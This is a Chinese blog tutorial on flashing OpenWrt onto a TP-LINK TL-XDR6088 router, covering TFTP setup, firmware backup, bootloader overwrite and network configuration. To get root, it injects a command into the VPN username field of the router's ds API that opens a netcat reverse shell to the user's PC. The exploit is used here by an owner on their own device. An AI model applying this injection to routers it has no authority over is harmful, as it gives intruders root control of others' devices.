微信关注,获取更多

TP-LINK XDR6088刷OpenWrt固件教程 两步搞定

TP-LINK TL-XDR6088易展Turbo版是普联tplink旗下的轻舟AX6000 Wi-Fi 6 无线路由器,最高无线速率5952Mbps(2.4GHz 1148Mbps,5GHz 4804Mbps)支持4×4 MU-MIMO,拥有1个3.0 USB接口以及2个2.5G网口跟4个千兆网口,CPU采用联发科MT7986A 4核2.0GHz处理器,跟512MB内存以及125MBflash配置非常的nice。

TP-LINK TL-XDR6088 刷OpenWrt

TP-LINK TL-XDR6088 刷OpenWrtTP-LINK TL-XDR6088 刷OpenWrt 24.10.0官方固件图文教程:

注意:刷机有风险,刷不好容易变砖,操作需谨慎!!!

准备工作以及环境:

软件Nmapgit bash固件

可以直接使用官方编译好的固件文件,如有自定义需求则自行定制(推荐定制)

也就是说,在准备刷机时,需要准备好如下四个文件

之后在 C 盘根目录下新建一个文件夹(不建议有中文,本文以 files 为里),将上述四个文件放入其中,示例如下:

TP-LINK TL-XDR6088 刷OpenWrt 24.10.0官方固件图文教程

设置路由器和网络拔掉路由器上所有的网线,找个牙签,长按路由器 RESET 按钮 10 秒,之后松开,完成路由器重置使用网线,将电脑连接到路由器 1G 的网口上,并设置电脑端的网卡固定 IP 为 192.168.1.254 (PS:必须设置为该 IP ,否则后面会无法载入 recovery 文件)浏览器访问 192.168.1.1 进入路由器设置界面任意设置一个管理员密码,点击完成进入到上网设置页面按 F12 打开浏览器的开发者工具,点击到 网络 标签,点击左侧的任意一个 ds 请求,查看 标头,将 请求网站 中的 stok= 后面一直到 / 结束的值复制下来,示例如下:

TP-LINK TL-XDR6088 刷OpenWrt 24.10.0官方固件图文教程

准备 TFTP 服务器设置系统环境

以管理员打开 cmd 命令提示符,执行以下操作

关闭 media sensing 功能,这样在连接到电脑的设备重启时,才不会断连。否则之后在 uboot 阶段无法传输 recovery 镜像。netsh interface ipv4 set global dhcpmediasense=disablednetsh interface ipv6 set global dhcpmediasense=disabled第一次运行 tftpd64 时,Windows 防火墙可能会问你是否允许,要同时勾选公共和专用网络上都允许,通常这样就可以了。继续在管理员权限的终端中为所有 TFTP 应用打开防火墙端口:netsh advfirewall firewall add rule name=”TFTP” dir=in action=allowprotocol=udp localport=69 remoteip=localsubnet interfacetype=lan profile=private,public设置软件

在准备环境,下载了 tftpd64 并解压好,此时,以管理员打开解压文件内的 tftpd64.exe ,打开后做如下操作

设置文件目录:点击右侧 Browse 选择到固件所在的文件夹设置网卡:在 Server interfaces 右侧下拉,选择和路由器连接的那个网卡(即 IP 为 192.168.1.254 )

设置完成示例如下:

TP-LINK TL-XDR6088 刷OpenWrt 24.10.0官方固件图文教程

获取 root 权限以管理员打开 cmd 命令提示符,运行 ncat -nvlp 4444 监听端口,显示如下:以管理员打开 git bash执行以下命令将 stock 值存入环境变量export stok=然后运行以下命令,如果成功运行,则会返回 {“vpn”:{“name”:”user_1″},”error_code”:0}curl http://192.168.1.1/stok=${stok}/ds -H “Content-Type: application/json” -X POST -d ‘{“vpn”:{“table”:”user”,”name”:”user_1″,”para”:{“username”:”;mkfifo /tmp/p;sh -i&1|nc 192.168.1.254 4444 >/tmp/p&”,”password”:”password”,”type”:”l2tp”,”localip”:”192.168.1.1″,”ippool”:”ippool”,”dns”:”1.1.1.1″,”netmode”:”client2lan”,”maxsessions”:”10″,”remotesubnet”:”192.168.1.0/24″,”block”:”0″}},”method”:”add”}’继续运行以下命令,如果成功运行,则会返回 {“error_code”:0}curl http://192.168.1.1/stok=${stok}/ds -H “Content-Type: application/json” -X POST -d ‘{“vpn”:{“user_1”:{“username”:”;mkfifo /tmp/p;sh -i&1|nc 192.168.1.254 4444 >/tmp/p&”,”password”:”password”,”type”:”l2tp”,”localip”:”192.168.1.1″,”ippool”:”ippool”,”dns”:”1.1.1.1″,”netmode”:”client2lan”,”maxsessions”:”10″,”remotesubnet”:”192.168.1.0/24″,”block”:”1″}},”method”:”set”}’此时,在 步骤1 中打开的终端窗口中,如果看到如下提示,则代表成功地开启了具有 root 权限的控制台命令行提示符:

TP-LINK TL-XDR6088 刷OpenWrt 24.10.0官方固件图文教程

如果没有看到,则重置路由器,重新开始备份原厂固件(重要)

备份原厂固件可以用于后续刷回原厂 TP-LINK 系统

在上文获得了 root 权限的 cmd 窗口中执行以下命令

执行以下命令备份(速度较慢)dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072执行以下命令获取备份固件的 md5 值(用于校验)md5sum /tmp/backup.img执行以下命令将固件传输到 Windows ,之后点击打开的 tftp 服务器,看到有文件在传输,等待传输完成tftp -p -l /tmp/backup.img -r backup.img 192.168.1.254在 git bash 命令行中执行以下命令获取固件的 md5 值,该值应当和第二步中获取的值相同md5sum /c/files/backup.img设置 uboot上传改名:上传前,将 files 目录下的 xxx-uboot.fip 改名为 uboot.fip ,将 xxx-preloader.bin 改名为 preloader.bin (改名的唯一作用就是让命令看起来短一些)在 git bash 命令行中执行以下命令获取文件的 md5 值md5sum /c/files/preloader.binmd5sum /c/files/uboot.fip在获得了 root 权限的 cmd 窗口中执行以下命令传输文件tftp -g -l /tmp/preloader.bin -r preloader.bin 192.168.1.254tftp -g -l /tmp/uboot.fip -r uboot.fip 192.168.1.254继续执行以下命令检查 md5 值,应当和第二步获取的相同md5sum /tmp/preloader.binmd5sum /tmp/uboot.fip写入(危险!)

在获得了 root 权限的 cmd 窗口中执行以下命令

一条一条的执行,一定不能调换顺序!!!不然你将收获一块砖

dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bindd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/uboot.fip

正常情况下,示例如下:

TP-LINK TL-XDR6088 刷OpenWrt 24.10.0官方固件图文教程

其中,输出的数字可能和示例不一样,如果中途出错,请深吸一口气,然后开始百度,因为我也没遇到错误

通过 tftp 载入 recovery 镜像

在 uboot 写入完成后,请直接断电,在接上电源启动,然后观察 tftp 服务器,如果 files 下面的 xxx-recovery.itb 文件名刚好为 openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 那么你会看到文件传输的动作,如下图:

TP-LINK TL-XDR6088 刷OpenWrt 24.10.0官方固件图文教程

如果文件名不对,则会看到提示找不到文件,手动修改文件名即可,示例如下(PS:示例图片来自参考教程):

TP-LINK TL-XDR6088 刷OpenWrt 24.10.0官方固件图文教程

刷入 sysupgrade 镜像打开路由器页面:在 recovery 文件上传完成后,路由器会马上启动 OpenWrt ,这时候在浏览器中输入 192.168.1.1 就可以打开 OpenWrt 的网页端(PS:如果是自定义固件且修改了路由器默认 IP ,此时需要修改将本地网卡的网段改到和路由器同一网段,再访问路由器的默认 IP 即可)默认情况下,登陆页面如下(默认主题不同,可能显示的页面也不同):

TP-LINK TL-XDR6088 刷OpenWrt 24.10.0官方固件图文教程

登陆:默认密码为空,点击登录后进入主页,看到提示:系统在恢复 (initramfs) 模式下运行上传 sysupgrade :点击 转到固件升级 ,再点击 刷写固件 按钮,将 xxx-sysupgrade.itb 文件上传上去并确定,最后继续,等待刷写完成(较慢),完成写入后会自动重新打开登录页面,登录后页面如下(截图时已经修改过 root 密码,否则密码为空时会提示修改):

TP-LINK TL-XDR6088 刷OpenWrt 24.10.0官方固件图文教程

恭喜,此时已完成 OpenWrt 系统写入,开始愉快的折腾新系统吧。

附加教程:配置 OpenWrt 网络接口说明

在 网络 -> 接口 -> 设置 页面,默认情况下可以看到 7 个设备,其物理网口对应关系如下:

电源1G1G1G1G2.5G2.5G

lan4

lan3

lan2

lan1

lan5

eth1

上网设置

这段网络设置教程写的不咋地,见谅

PS:默认情况下,上行 WAN接口绑定 eth1

修改 br-lan 绑定:点击 网络 -> 接口 -> 设置 -> br-lan 后面的 配置 ,在网口桥接中取消绑定一个 1G 端口(建议 lan4 ),千兆宽带甚至更高的宽带则不动设置 WAN:点击 网络 -> 接口 -> 接口 -> wan 后面的 编辑如果光猫为路由模式,则保持 DHCP 协议即可;

如果光猫为桥架模式,则选择 PPPoE 协议并确认切换,再填写好宽带账号和密码将设备选择到上一步释放的网口上,千兆宽带甚至更高则不动最后保持如果是 PPPoE 模式,则删除 wan6 并保存,否则检查一下是否需要修改绑定的网口(不用ipv6 也可以直接删除)如果修改了 wan 口绑定,则再将 br-lan 中的 eth1 绑定上去插入 WAN 口的网线,查看是否可以获取到 IP电脑端口将 IP 设置为自动获取或者手动填写并配置 DNS

恭喜,电脑端浏览器已经可以愉快的打开百度上网了。

未经允许不得转载:openwrt技术分享 » TP-LINK XDR6088刷OpenWrt固件教程 两步搞定

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏